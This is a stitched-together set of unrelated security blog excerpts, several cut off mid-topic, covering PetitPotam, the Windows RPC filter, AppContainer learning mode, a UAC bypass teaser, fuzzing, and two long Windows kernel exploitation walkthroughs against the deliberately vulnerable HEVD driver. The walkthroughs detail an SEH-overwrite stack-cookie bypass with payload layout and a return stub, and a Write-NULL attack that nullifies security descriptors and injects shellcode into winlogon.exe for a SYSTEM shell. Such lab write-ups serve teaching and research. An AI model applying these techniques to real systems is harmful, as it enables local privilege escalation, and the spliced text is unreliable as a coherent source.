The PetitPotam technique is still fresh in people's minds. While it's not directly an exploit it's a useful step to get unauthenticated NTLM from a privileged account to forward to something like the AD CS Web Enrollment service to compromise a Windows domain. Interestingly after Microsoft initially shrugged about fixing any of this they went and released a fix, although it seems to be insufficient at the time of writing.

While there's plenty of details about how to abuse the EFSRPC interface, there's little on why it's exploitable to begin with. I thought it'd be good to have a quick overview of how Windows RPC interfaces are secured and then by extension why it's possible to use the EFSRPC interface unauthenticated. 

Caveat: No doubt I might be missing other security checks in RPC, these are the main ones I know about :-)

RPC Server Security

Securing the Endpoint

Securing the Interface

Ad-hoc Security

Digging into EFSRPC

The Fix is In

I did promise that I'd put out a blog post on how the Windows RPC filter works. Now that I released my more general blog post on the Windows firewall I thought I'd come back to a shorter post about the RPC filter itself. If you don't know the context, the Windows firewall has the ability to restrict access to RPC interfaces. This is interesting due to the renewed interest in all things RPC, especially the PetitPotam trick. For example you can block any access to the EFSRPC interfaces using the following script which you run with the netsh command.

I was recently asked about this topic and so I thought it'd make sense to put it into a public blog post so that everyone can benefit. Windows 11 (and Windows Server 2022) has a new feature for tokens which allow the kernel to perform the normal LowBox access check, but if it fails log the error rather than failing with access denied. 

This feature allows you to start an AppContainer sandbox process, run a task, and determine what parts of that would fail if you actually tried to sandbox a process. This makes it much easier to determine what capabilities you might need to grant to prevent your application from crashing if you tried to actually apply the sandbox. It's a very useful diagnostic tool, although whether it'll be documented by Microsoft remains to be seen. Let's go through a quick example of how to use it.

First you need to start an ETW trace for the Microsoft-Windows-Kernel-General provider with the KERNEL_GENERAL_SECURITY_ACCESSCHECK keyword (value 0x20) enabled. In an administrator PowerShell console you can run the following:

This will start the trace session and log the events to access_trace.etl file if your home directory. As this is ETW you could probably do a real-time trace or enable stack tracing to find out what code is actually failing, however for this example we'll do the least amount of work possible. This log is also used for things like Adminless which I've blogged about before.

Now you need to generate some log events. You just need to add the permissiveLearningMode capability when creating the lowbox token or process. You can almost certainly add it to your application's manifest as well when developing a sandboxed UWP application, but we'll assume here that we're setting up the sandbox manually.

The previous code creates a lowbox token with the capability and writes to a file in the user's profile. This would normally fail as the user's profile doesn't grant any AppContainer access to write to it. However, you should find the write succeeded. Now, back in the admin PowerShell console you'll want to stop the trace and cleanup the session.

You should find an access_trace.etl file in your user's profile directory which will contain the logged events. There are various ways to read this file, the simplest is to use the Get-WinEvent command. As you need to do a bit of parsing of the contents of the log to get out various values I've put together a simple script do that. It's available on github here. Just run the script passing the name of the log file to convert the events into PowerShell objects.

Introduction

This post is about kernel mode exploitation basics under Windows. It operates on assumptions that the reader is familiar with terms such as process, thread, user and kernel mode and the difference between user and kernel mode virtual address range. One could use this post as an introduction to HEVD.

Even though I came across at least one good write up about Hacksys Extreme Vulnerable Driver StackOverflowGS (https://klue.github.io/blog/2017/09/hevd_stack_gs/, highly recommend it), after reading it I still felt that I did not understand the entire exploitation process (did not notice the link to the source code at the time :D), so I fell back on the PoC provided by HEVD (https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Exploit/StackOverflowGS.c), analyzed it and learned a few things, now I am just sharing my insights and tips.

Setup

There are numerous resources on how to set up Windows kernel debugging and install HEVD (e.g. https://hshrzd.wordpress.com/2017/05/28/starting-with-windows-kernel-exploitation-part-1-setting-up-the-lab/ and https://hshrzd.wordpress.com/2017/06/05/starting-with-windows-kernel-exploitation-part-2/).

I personally prefer using my host OS as the debugger and a VirtualBox VM as the debuggee (Windows 7, x86).

To attach to the VM, I run the following command (make sure windbg.exe is in your %PATH%):

windbg -k com:pipe,port=\.\pipe\com_1,resets=0,reconnect

When successfully attaching a debuggee, windbg output will look like this:

I myself have experienced issues when rebooting the debuggee (which happened a lot with all the crashes resulting from my attempts at exploitation) with windbg running; it just didn't want to attach to the named pipe and thus there was no connection between windbg and the debuggee. Also, trying to attach to a VM that was already running didn't work this way either. I figured that for me everything always works as should when I first boot the VM and then, once the OS loading progress bar pops up, I run the command to spawn windbg and make it connect to the named pipe created by VirtualBox.

Also, don't forget to load the symbols, e.g.:

.sympath C:\Users\ewilded\HACKING\VULNDEV\kernel\windows\HEVD\HEVD.1.20\drv\vulnerable\i386;SRVC:\SymbolsServerhttps://msdl.microsoft.com/download/symbols

The vulnerability

StackOverflowGS (code here https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Driver/HEVD/Windows/BufferOverflowStackGS.c) is a vanilla stack-based buffer overflow, just like StackOverflow (code here https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Driver/HEVD/Windows/BufferOverflowStack.c). The only difference is that in this case stack smashing is detected via a stack canary/stack cookie (a good introduction to the subject can be found here).

All HEVD exercises have the same structure and are all called in the same manner.

Whenever a user wants to interact with the module, they send the driver a data structure -  IRP (https://docs.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/i-o-request-packets). This data structure is our malicious input vector.

On line 128 of the HackSysExtremeVulnerableDriver.c main driver source file, we can see that IrpDeviceIoCtlHandler function is assigned to IRP_MJ_DEVICE_CONTROL packets:

That function can be found in the same file, starting with line 248:

Depending on the IOCTL code (an unsigned long integer argument, part of the IRP), IrpDeviceIoCtlHandler runs a different function:

Constants like HEVD_IOCTL_BUFFER_OVERFLOW_STACK are numeric variables predefined in HackSysExtremeVulnerableDriver.h.

So each exercise has its corresponding function with "IoctlHandler" suffix in its name (BufferOverflowStackIoctlHandler, BufferOverflowStackGSIoctlHandler and so on). Let's see what this function looks like in our case (https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Driver/HEVD/Windows/BufferOverflowStackGS.c):

So there is another function, named TriggerBufferOverflowStackGS, run from BufferOverflowStackGSIoctlHandler. So the function call tree, starting from IrpDeviceIoCtlHandler, is now:

Finally, the function is pretty simple too:

UserBuffer is a pointer to the user mode memory block (valid in the address space of the process that is currently interacting with the driver). Kernel mode code will be reading data from this location.

Size is an integer telling HEVD how many bytes we want it to read from the UserBuffer memory block - and write to kernel memory, starting at KernelBuffer. KernelBuffer is a local variable (defined on line 72 visible in the screenshot above), so it resides on the stack.

Both the UserBuffer pointer and the Size are delivered with the IRP and controlled by the user mode program that created it and triggered an interrupt to communicate with this driver (we'll get to that code too, shortly).

Then we get to the bottom of this:

So basically it's a vanilla stack-based buffer overflow. We can overwrite KernelBuffer with UserBuffer, with Size bytes (we control both UserBuffer and Size).

Let's set up a breakpoint in windbg, at HEVD!TriggerStackOverflowGS:

By listing the breakpoint (bl) we can see the current kernel mode address of the function (87e3f8da), which will vary between platforms and system boots.

View the disassembly of the entire function we can notice two important points in the code:

First is our vulnerable memcpy call, the second is the SEH_epilog4_GS, the function responsible for checking the saved stack canary and preventing from normal returning if the stack was detected to be smashed (if the cookie doesn't match), aimed at preventing exploitation.

Naturally, a breakpoint at 87e3f964 e871c8ffff      call    HEVD!memcpy (87e3c1da) would be more precise, as we could see directly how the stack buffer looks like before and after memcpy executes. Let's set it:

By listing the existing breakpoints again, we can see that windbg neatly displays both addresses using properly resolved symbols, so our second breakpoint set using the address 87e3f964 got nicely resolved to HEVD!TriggerStackOverflow+0x8a. I personally prefer to save these, so I can use them later when running again, just to remember where the actual breakpoint I am interested in is.

Now, we need to interact with the driver in order to see how the buffer we supply is stored on the stack, what do we overwrite and how error conditions we cause this way will differ depending on the buffer size.

For this purpose, I assembled a simple piece of C code based on other existing HEVD PoCs (I use Dev-C++) https://gist.github.com/ewilded/1d015bd0387ffc6ee1284bcb6bb93616:

• it offers two payload types; a string of A-s or up to 3072 bytes of de Brujin sequence,
• it asks for the size argument that will be sent over to the driver.

Below screenshot demonstrates running it in order to send a 512-byte buffer filled with 'A':

At this point we should hit the first breakpoint. We just let it go (g) and let it hit the second breakpoint (just before memcpy):

Let's see the stack:

Now, let's just step over once (p), so we get to the next instruction after the memcpy call, and examine the stack again:

So we can clearly our 512-byte buffer filled with 'A'. Now, at this point there is no buffer overflow.

Now, the next value on stack, right after that buffer (in this case 070d99de), is the stack cookie.

By the way, this is a good opportunity to notice the call stack (function call tree):

We can see that our saved return address is 87e3f9ca (HEVD!TriggerStackOverflowGS+0x8f)(red). The SEH handler pointer we will overwrite is sitting between the stack cookie and the saved RET (green):

If we let it running further (g), we can see nothing happens and fuzz.exe returns:

Good, as the buffer was 512, there was no overflow, everything returned cleanly.

Now, let's see what happens when we increase the buffer size by just one:

First two breakpoints hit, nothing to see yet:

Now, let's step over (p or F10) and see the stack again. This time we overwrote the stack cookie, by one byte (0d9bb941):

Now, let's let the debuggee go and see what happens (also, note the !analyze -v link generated in windbg output - click on it/run the command to see more details about the crash):

We end up with a fatal error 0x000000f7 (DRIVER_OVERRAN_STACK_BUFFER), which means that the __SEH_epilog4_GS function detected the change in the cookie saved on the stack and triggered a fatal exception.

Just as expected.

It is important to pay close attention to the error code, especially in this case: 0x000000f7 (DRIVER_OVERRAN_STACK_BUFFER) looks a lot like 0x0000007f (DOUBLE_TRAP), whereas the second one basically means that some sort of exception was triggered while already executing some exception handler - in other words, it means that after one exception, the code handling the exception encountered another exception. Distinguishing between these two (easy to mix up) is crucial while developing this exploit, as while the first one indicates that the stack cookie was overwritten and that the SEH __SEH_epilog4_GS has executed and detected the tampering to prevent exploitation. On the other hand, 0x0000007f (DOUBLE_TRAP) indicates that we triggered an exception and that afterwards another exception was raised. We can trigger an access violation by providing sufficiently large value of the Size argument in an IRP, causing the kernel-mode memcpy call to either read beyond the page of the user-mode process working set, or write beyond the kernel stack, depending on which happens first).

Exploitation approach

When it comes to stack cookies, there are several bypass scenarios.

The stack cookie could be leaked by exploiting another vulnerability (chaining, just like in one of my previous write ups) and then used in the payload to overwrite the original value of the canary cookie with the original value, making the entire stack-smashing invisible to the stack canary-checking routine called in the function's epilogue.

Another chaining method involves overwriting the process-specific pseudo-random value of the current cookie in the process memory, wherever it is stored (depending on the OS and compiler).

And then finally there is the third exploitation approach, abusing the fact that exception handlers are executed before the stack cookie is checked. Sometimes it is possible to abuse exception handling code - in this case a SEH handler pointer, which is also stored on the stack in a location we can overwrite. The idea is to abuse the memory corruption vulnerability in such a way that we overwrite a pointer to an exception handler and then we trigger an exception within the same function, before the stack checking routine in the function's epilogue is executed. This way we redirect the execution to our payload (our shellcode), which first elevates our privileges (in this case, as it's a local kernel EoP exploit), then returns to the parent function (the function that called the function we are exploiting - the parent in the call stack/call tree), without ever running the stack cookie-checking routine.

Again, please refer to https://dl.packetstormsecurity.net/papers/bypass/defeating-w2k3-stack-protection.pdf for more details on the general subject of defeating stack cookies under Windows.

HEVD official PoC

The tricky part in this exercise is that we have to do both things with one input (one device interaction, one IRP with a buffer pointer and size, one call of the TriggerStackOverflowGS function); overwrite the pointer to the SEH exception handler AND cause an exception that the handler would be used for.

The only viable option here is to cause the vulnerable memcpy call itself first  overwrite the buffer along with the saved stack cookie and the SEH handler pointer AND trigger an access violation exception - either due to exceeding the size of the user mode buffer and reading past the memory page that holds it, or by writing past the stack boundary (whichever happens first). Now, writing down the stack would completely wipe out all the older (parent) stack frames, making it super hard to return from the shellcode in a way that would avoid crashing the system. Thus, having the kernel code read past the user-supplied user mode buffer is a much better option - and I really like the way this has been solved in the original HEVD PoC (https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Exploit/StackOverflowGS.c).

The entire payload that is introduced into the kernel buffer (bytes we write to the stack) is 532 bytes long. It's 512 bytes of the original buffer, 4 bytes of the stack cookie, 12 bytes of other 3 DWORDs that we don't care about (in the payload referred to as junk) and then finally 4 bytes of the SEH handler. 512 + 4 + 12 + 4 = 532. This is the exact number of bytes that need to be written to the stack for the SEH handler pointer to be overwritten with a value we control.

Now, in order to trigger an access violation exception in the same operation (memcpy), just after our 532 bytes from our user mode buffer were copied into the kernel mode stack, we want to place our 532-byte payload at the end of a page (the basic memory allocation unit provided by the OS memory manager, 4096 bytes by default). So from our user mode program, we allocate a separate page (4096-byte buffer). Then we put our payload into its tail (last 532 bytes) - so our payload starts on the 3565-th byte and ends on the 4096-th (the last 4 bytes being the pointer to our shellcode).

Finally, to trigger an access violation, we adjust the buffer size parameter sent encapsulated in the IRP, to exceed the size of our payload (so it must be bigger than 532, e.g. 536). This will cause memcpy running in kernel mode to attempt reading four bytes beyond the page our payload is located in. To make sure this causes an access violation, the page must not have an adjacent/neighbor page. So for example, if the virtual address of the user mode page allocated for the buffer with our payload is 0x00004000, with page size being 0x1000 (4096), the valid address range for this page will be 0x00004000 <--> 0x00004fff. Meaning that accessing address 0x00005000 or higher would mean accessing another page starting at 0x00005000 (thus we call it an adjacent/neighbor page). Since we want to achieve an access violation, we need to make sure that no memory is allocated for the current (exploit) process in that range. So we want just one, alone page allocated, reading past which causes an access violation.

There are a few ways to cause such a violation. For example, two adjacent pages can be allocated, then the second one could be freed, then the read operation is triggered on the first one, with the size operand making it read beyond the first page, entering the second one. And this is the method employed by klue's PoC: https://github.com/klue/hevd, with his mmap and munmap wrappers around NtAllocateVirtualMemory and NtFreeVirtualMemory.

Another one is to allocate the page in a way that ensures nothing else is allocated in the adjacent address space, which is what the official HEVD exploit does by using an alternative memory allocation method supported by Windows.

Let's  analyze the code (https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Exploit/StackOverflowGS.c).

First, we have declarations. hFile is used for opening the driver object (in order to then send the IRP) . PageSize is 0x1000 (4096). MemoryAddress is the pointer to the special page we are going to allocate our stack-smashing payload (528 bytes of junk, 4 bytes overwriting the SEH handler pointer, pointing at our shellcode, located at the page's tail, starting at 3565-th byte). SuitableMemoryForbuffer is the pointer we are going to pass to HEVD as the UserBuffer. It will point at the 3565-th byte of the 4096-byte page allocated at MemoryAddress. EopPayload is another pointer, another location in user mode, containing our shellcode (so the shellcode is in a separate user mode buffer than the special page we are allocating for the stack-smashing payload):

Finally, there is SharedMemory - a handle to the mapped file object we are going to create (as an alternative way of allocating memory). Instead of requesting a new page allocation with VirtualAlloc, an empty, non-persisted memory mapped file is created. Memory-mapped files are basically section objects (described properly in Windows Internals, Part 1, "Shared memory and mapped files" section), a mechanism used by Windows for sharing memory between processes (especially shared libraries loaded from the disk), also please see the official Microsoft manual to find out more about https://docs.microsoft.com/en-us/dotnet/standard/io/memory-mapped-files).

In this case, we are going to request creation of a "mapped-file" object without any file, by providing an INVALID_HANDLE_VALUE as the first argument to CreateFileMappingA - this scenario is mentioned in the manual page of this function (https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createfilemappinga):

So it's basically a section ("mapped file") object only backed by the system paging file - in other words, a region in the system paging file that we can map to our process's address space and use just like (almost) a regular page:

 Now, we map that region to our address space:

Now, we're setting the SuitableMemoryForBuffer pointer at 3565-th byte of the SharedMemoryAddress region (this is where we will locate our 532-byte payload that will be then copied by the driver to a buffer on its stack):

And we will the entire region with 'A':

Then eventually, the payload is finished by setting its last 4 bytes to contain the user mode address of the shellcode (these bytes will overwrite the SEH handler). This is done in a bit indirect way, as first the pointer (MemoryAddress) is set at offset 0x204 (516) - right past the xored stack cookie - and overwrites 3 of the following junk pointers, only to eventually set the new value for the SE handler:

It seems that simply setting the MemoryAddress to point at SuitableMemoryForBuffer + 0x210 directly (to point it at the location that will overwrite the SE handler pointer) would do the trick as well - other locations on the stack would be overwritten with meaningless 'A's anyway:

Then finally, we trigger the creation of our IRP and send it to the driver along with pointers to the UserBuffer (SuitableMemoryForBuffer - 3656-th byte of the 4096-byte region) and the Size argument; SeHandlerOverwriteOffset + RAISE_EXCEPTION_IN_KERNEL_MODE. SeHandlerOverwriteOffset is just the size of our payload (532). Then, a constant RAISE_EXCEPTION_IN_KERNEL_MODE is added to the size - it's just a numeric constant of 0x4 - and it's only to make the size argument exceed 4096 when added to the 3656-th byte being provided as the beginning of the buffer to read from:

Shellcode

Our shellcode being a separate buffer in user mode, which will get executed by kernel mode HEVD code, instead of the legitimate exception handler - on modern kernels this would not get executed due to SMEP, but we're doing the very basics here.

First of all, let me recommend ShellNoob. It's a neat tool I always use whenever I want to:

• analyze a shellcode (a sequence of opcodes) or a just some part of it,
• write shellcode.

In this case we will use a slightly modified version of the publicly available, common Windows7 token-stealing payload (https://github.com/hasherezade/wke_exercises/blob/master/stackoverflow_expl/payload.h):

After converting the shellcode to ascii-hex and pasting it to shellnoob input (opcode_to_asm), this is what we get:

Our shellcode, executing in kernel mode, finds the SYSTEM process and then copies its access token over the token of the exploit process. This way the exploit process becomes NT AUTHORITY/SYSTEM. Have a look into https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Exploit/Payloads.c to see descriptions of all individual assembly instructions in this payload. Pay attention to the fact that while shellnoob output presents assembly in AT&T syntax, Payloads.c contain assembly in Intel syntax (this is why it's worth to know both, http://staffwww.fullcoll.edu/aclifton/courses/cs241/syntax.html).

This shellcode, however, requires one more adjustment.

Clean return

Now, the problem is, if we simply use this shellcode to exploit this particular vulnerability, the kernel will crash right after modifying relevant access token. The reason for this is the return process and messed up stack. The problem - and the solution - are already well described at https://klue.github.io/blog/2017/09/hevd_stack_gs/. I myself had to get my head around the process my own way to fully understand it and confirm (instead of just blindly running it and trusting it would work), that in fact the return stub provided by klue is going the correct one:

mov 0x78c(%esp), %edi
mov 0x790(%esp), %esi
mov 0x794(%esp), %ebx
add $0x9b8, %esp
pop %ebp
ret $0x8

So, the following return stub

had to be replaced. Again, I used shellnoob to obtain the opcodes:

Basically the entire problem boils down to the fact that we need to return to somewhere - and when we do, the stack needs to be aligned the same way as it would normally be during normal execution.

The entire process of aligning the stuck boils down to three things. First, identifying, where we will be returning - and taking notice of what the stack and the registers look like when return to that location is made normally. Second, setting a breakpoint in our shellcode, to again take notice of what the stack and the registers look like when our shellcode executes (it's convenient to use hardcoded software breakpoint in the shellcode itself - just append it with 0xcc (int3) instead of the return stub). Third, comparing the state of the registers and the stack between the two stages, finding where the register values to restore are in memory, restore them, then finally adjust the last one of them (ESP) and make the return.

Running

Source code can be found here.

There has been much discussion in cyber security about the possibility of enabling the private sector to engage in active cyber defense, or colloquially “hacking

The post An in-depth look at hacking back, active defense, and cyber letters of marque appeared first on MalwareTech.

HackSys Extreme Vulnerable Driver — Arbitrary Write NULL (New Solution)

A simple (not stealth) method utilizing NtQuerySystemInformation for Arbitrary Write NULL vulnerabilities

Today, we’re going to have a deep looking through an interesting exploitation technique using NtQuerySystemInformationsystem call in order to achieve a LPE - (Local Privilege Escalation) through HEVD - (Hacksys Extreme Vulnerable Driver). The follow content will only show about possibilities (but unreliable) techniques and methodologies on how to exploit a specify vulnerability typed Arbitrary Write NULL in most of vulnerable x86drivers (in case you doesn’t have certain tools in order to exploit them). Also, we’ll not cover how to install and configure kernel debugging or HEVD IOCLT communication, and all content from this write-up lies behind what should be done to work around with a view to get a LPE.Hope everyone enjoy! =)

Introduction

First of all, we need to talk about what is Arbitrary Write NULL vulnerability, and at kernel perspective, what should be possible to do with it in order to achieve LPE in our simple cmd.exe session from ring3 (user-land).

In short, Arbitrary Write NULL is most like Arbitrary Write vulnerabilities, the difference behind them, is that the first one allows you to be able to write->[0x00000000] in whatever address/pointer you looking for, and the second one, allows you to define explicitly Write-What-Where, allowing things like write->[0xdeadbeef], meaning that you have control over value of an address/pointer which will be overflowed with 0xdeadbeef, instead only 0x00000000. At below we are going to have a looking deep in to HEVD driver vulnerable function, dissect and understand what is happening.

[HEVD]-TriggerWriteNull

As you can see here, ifdef SECURE (which is not), probeForWrite() function should verify and confirm that our user input buffer is located at ring3, otherwise our input buffer with be nullified without properly security checks.

As commented, [edi] register is been overflowed with 0x00000000 by [ebx] register as occurs when compiled code wasn’t defined with #ifdef SECURE bit set.

Since IOCTLdrive connection is predefined, we can test it and see that our first 4 bytes from user-buffer (shellcode_ptr), is about to be nullified with 0x00000000.

After script run, and hit break-point, we can clearly notice that [edi] value contains our address to the pointer of user-buffer address shellcode_ptr -> 0x00500000.

As an example, the content of our shellcode is storing a piece of x86 assemblycode to LPE our permissions. At your first 4 bytes, you can see that have the initial parts of our shellcode start. Now ignoring the code located there, we’re only looking into 0xa16460cc address.

The problem here is obvious, as a simple user (ring3), if we send a whatever address, it will be nullified, no matter what or how, just it will stay NULL.

Said all that, we know from here that we actually only can write NULL bytes to our defined address/pointer, and do some magic to achieve LPE from there, but… how can we do that? Let’s talk about DACL & Security Description.

DACL & Security Description

First of all, what is DACL and Security Description? how them can be exploited using Arbitrary Write NULL vulnerabilities?

According to https://networkencyclopedia.com/discretionary-access-control-list-dacl/

What is DACL (Discretionary Access Control List)?

A DACLstands for Discretionary Access Control List, in Microsoft Windows family, is an internal list attached to an object in Active Directory that specifies which users and groups can access the object and what kinds of operations they can perform on the object. In Windows 2000 and Windows NT, an internal list attached to a file or folder on a volume formatted using the NTFS that has a similar function.

How DACL works?

In Windows, each object in Active Directory or a local NTFS volume has an attribute called Security Descriptor that stores information about

The object’s owner (the security identifier or the owner) and the groups to which the owner belongs.

The discretionary access control list (DACL) of the object, which lists the security principals(users, groups, and computers) that have access to the object and their level of access.

The system access control list (SACL), which lists the security principals that should trigger audit events when accessing the list.

Basically, DACL is a list that contains features, one of them are called Security Description (we will take deep soon). This list are configured to handle calls and filter what object (files, processes, threads, etc), should be allowed or not for specific (user, groups, or computers). Hard to understand? Let me show up it as Window UI. =)

Maybe this image should be familiar to you right?. This area is one of various that you can manage DACL & Security Descriptions easily (without knowing that they actually exists).

As we can see, isn’t hard to understand what it is and why it was created, the thing is, what defines internally what permissions an user can have on it? What objects are configured in DACL to be filtered? let’s have a deep look into Windows Internals and his structs.

First of all, let’s take a look at WinDBG process list.

When we do list our windows processes in WinDBG, we can see that every process have the same patterns, only with different values or addresses ranges. In the image above, you can notice a marked address 0x856117c8, this address represents a windows object, and this object have some important properties which defines: process name, permissions, process ID’s, handles, etc. (i’ll not extend this, so let it just as a simple recap).

A interesting thing that we can explore at moment, isn’t any else then nt!_OBJECT_HEADER struct. This struct have literally what tools we need to work and start our attack.

As an image above says, we simply dissect our process utilizing nt!_OBJECT_HEADER struct, which gave us information about what is located in our object. Also it’s important to notice that nt!_OBJECT_HEADER only look for addresses offsets before nt!_EPROCESS, which means that nt!_EPROCESS range, should stay after those offsets.

But what happens to SecurityDescription?

Another interesting thing is that our SecurityDescription (0x856117b0+0x014) is pointing to 0x8c005e1f address, meaning that something is happening here, and this address have some interaction to DACL & Security Description implementations.

Now, let’s have a deep look in this specific address 0x8c005e1f.

Utilizing previous target SecurityDescriptionaddress with WinDBG command !sd, with simple bit calculation, we now are able to understand much better how it’s implementation are configured on Windows Internals. So, those marked value, remember you something? Yes, that’s right, this marks are the users information stored in the process. At image below, we can compare these two DACL information.

As we can compared these two images, we notice that SYSTEM and DAML users, are related to another image about SecurityDescription(Windows Internals). It’s a example (not legit), that how we can compare this two values.

Knowing that, and understanding the concepts that we actually can nullify any address from ring0 (kernel) only as an simple user, let’s try to make SecurityDescription address (0x856117b0+0x014) point to NULL (0x00000000), and see what happens!

Ok! now System.exe (PID:4) process have SecurityDescriptor pointer nullified. Now let’s try to continue our VM snapshot.

Wait, what happened? we closed [System.exe] process manually? and without user permissions for it? using task manager?

Yes! only nt authority/SYSTEM should have permissions to close this process, but how could be possible a simple user BSOD'ed whole system? There’s, the magic behind this exploitation is a well-know exploitation technique which nullify SecurityDescription behaviors from SYSTEM processes, it technique is very used for LPE exploits since it applies no permissions bit for those target processes. In short, from WinDBG we manually nullified the pointer which contains those permissions information in SecurityDescription meaning that anyone now can write/read/execute in this process. =)

But there’s a problem here, we now understand what we need to do in order to elaborate our exploit but i ask you, how we can identify SYSTEM process objects from a simple ring3 (user-land)?

In the image above, since we’re looking those addresses from WinDBG screen ring0 (kernel mode), we clearly see the object there, but also we need to know that those values are not accessible (also unpredictable), to our simple user from ring3 (user-land). The randomization of these addresses are implemented every time since Windows 7 is rebooted (Address Space Layout Randomization or ASLR), these mitigations deny every try to work with static address. Lastly, another important thing is that the randomization by self are unpredictable (in most of my tests), these objects only randomize through 0x85xxxxxx to 0x87xxxxxx, which means i actually don’t know if a bypass of this randomization (from ring3), actually exists.

So, what to do next?

NtQuerySystemInformation - Handle Leaking Attack

As mentioned before, isn’t possible to exploit from ring3 (user-land) due to a lot of permissions restrictions placed by our target “Operation System (windows 7)so what kind of things can we do to bypass these restrictions? the answer is NtQuerySystemInformation WinAPI call.

NtQuerySystemInformation by design is one of various security flaws that for Microsoft only represents a feature to an user perspective. The biggest problem about it WinAPI call, is that it’s configured by default to accept user calls (from undocumented behaviors), which should be parsed and queried together ring0 (kernel mode) information, as resulting in an leak of SYSTEM addresses/pointers. This WinAPI Call, is a well-know method for memory leaking attacks, since it’s allow an attacker to know exactly what pointers are important, and elaborate a better methodology for explore his target vulnerability (in our case WriteNULL).

But how could it be possible to leak information from ring3?

Before we start to looking deep into vulnerable (features) calls, we should look at first to the definition of handles, and why we need to get focus on it.

according to: https://stackoverflow.com/questions/902967/what-is-a-windows-handle

It’s an abstract reference value to a resource, often memory or an open file, or a pipe.

Properly, in Windows, (and generally in computing) a handle is an abstraction which hides a real memory address from the API user, allowing the system to reorganize physical memory transparently to the program. Resolving a handle into a pointer locks the memory, and releasing the handle invalidates the pointer. In this case think of it as an index into a table of pointers… you use the index for the system API calls, and the system can change the pointer in the table at will.

Alternatively a real pointer may be given as the handle when the API writer intends that the user of the API be insulated from the specifics of what the address returned points to; in this case it must be considered that what the handle points to may change at any time (from API version to version or even from call to call of the API that returns the handle) — the handle should therefore be treated as simply an opaque value meaningful only to the API.

In short, handles have properties to create and configure communications through objects (open files I/O, apis, pipes, etc), on Operation System (OS). These handles are carrying a bunch of information about these objects, one of them are pointers. Basically, handles loads pointers, but do you know the best part of it? is the possibility to leak these pointer from ring3 (user-land), and that’s what we need to deep our look.

Knowing that, NtQuerySystemInformation afford a lot interesting calls, on top of that, we have an undocumented call named SystemExtendedHandleInformation, which supports the follow structs.

These structs, should help us to leak handle pointers, and that’s how the magic starts.

Utilizing the designed flaw calls, let me fuzz some handle data from ring3 (user-mode) perspective and see what happens.

As you can see, from a simple user we actually can leak a lot of pointers and data. The best part of it, is that one of those pointers are correlated to our PROCESS object, did you remember?

This is it, that’s the trick! But there’s a problem. Assuming that many restrictions such as: ASLR, are configured by default, how we knows what addresses, PID’s and Handle values are correct in order to predict that one who contains our PROCESS object pointer?

The answer for this question is: “I don’t know, but there’s a method (really not stealth), which work as well!”. This method was discovered after tests assuming ASLR randomization and what processes (who contains useful pointers), should crash after been nullified through exploitation technique.

After some tests, it was noticed that if we define lsass.exe PID, as the only target to have his handles nullified, the Operation System OS doesn’t crashes (I assume that because lsass.exe isn’t a process that contains so many handles for SYSTEM internals, only to hold permissions and things related on this). After all, with lsass.exe handle pointers nullified, it’s clearly that not only 1 process will have write/read/execute permission, but also a lot. That’s why i don’t recommend this technique for a real world exploitation because isn’t safe (also not stealthy), nullifying handles could make the Operation System crash and reboot.

The things is, once SYSTEM processes do have access permissions for Anyone, the final part should be a Shellcode Injection in a SYSTEM target process, and that’s what we do in winlogon.exe. This process is running with SYSTEM permissions (and now after nullify attack write/read/execute)

So, putting all together, this is how it looks like. =D

After exploit runs, we finally got our nt authority/SYSTEMshell, nothing was crashed and processes work as well without any issues.

The final consideration for this write-up, is that i didn’t found any reliable solution for WriteNULL challenge, only one which uses another driver vulnerability in order to leak pointer address (on references), meaning that this exploit should be the only one existing in internet utilizing this technique (really no one want to do this). =(

So, it was kind fun and hope everyone enjoyed this write-up. =P

Final Exploit link:

https://github.com/w4fz5uck5/3XPL01t5/tree/master/OSEE_Training/HEVD_exploits/windowsx86/%5BHEVD%5D-WriteNULL

References:
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Driver/HEVD/Windows/HackSysExtremeVulnerableDriver.h

https://github.com/daem0nc0re/HEVD-CSharpKernelPwn/blob/master/HEVD_Win7x86/WriteNull/Program.cs http://bprint.rewolf.pl/bprint/?p=1683

https://github.com/ZecOps/CVE-2020–0796-LPE-POC/blob/master/poc.py

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/windows-debugging-and-exploiting-part-4-ntquerysysteminformation/

While it's not something I spend much time on, finding a new way to bypass UAC is always amusing. When reading through some of the features of the Rubeus tool I realised that there was a possible way of abusing Kerberos to bypass UAC, well on domain joined systems at least. It's unclear if this has been documented before, this post seems to discuss something similar but relies on doing the UAC bypass from another system, but what I'm going to describe works locally. Even if it has been described as a technique before I'm not sure it's been documented how it works under the hood.

The Background!

Well, about that!

Didn't you forget KERB-LOCAL?

Introduction

It’s been a while since I’ve done one of these, and one of my goals this year is to do more so here we are. A side project of mine is kind of reaching a good stopping point so I’ll have more free-time to do my own research and blog again. Looking forward to sharing more and more this year.

One of the most common questions that comes up in beginner fuzzing circles (of which I’m obviously a member) is how to harness a target so that it can be fuzzed in memory, as some would call in ‘persistent’ fashion, in order to gain performance. Persistent fuzzing has a niche use-case where the target doesn’t touch much global state from fuzzcase to fuzzcase, an example would be a tight fuzzing loop for a single API in a library, or maybe a single function in a binary.

This style of fuzzing is faster than re-executing the target from scratch over and over as we bypass all the heavy syscalls/kernel routines associated with creating and destroying task structs.

However, with binary targets for which we don’t have source code, it’s sometimes hard to discern what global state we’re affecting while executing any code path without some heavy reverse engineering (disgusting, work? gross). Additionally, we often want to fuzz a wider loop. It doesn’t do us much good to fuzz a function which returns a struct that is then never read or consumed in our fuzzing workflow. With these things in mind, we often find that ‘snapshot’ fuzzing would be a more robust workflow for binary targets, or even production binaries for which, we have source, but have gone through the sausage factory of enterprise build systems.

So today, we’re going to learn how to take an arbitrary binary only target that takes an input file from the user and turn it into a target that takes its input from memory instead and lends itself well to having its state reset between fuzzcases.

Target (Easy Mode)

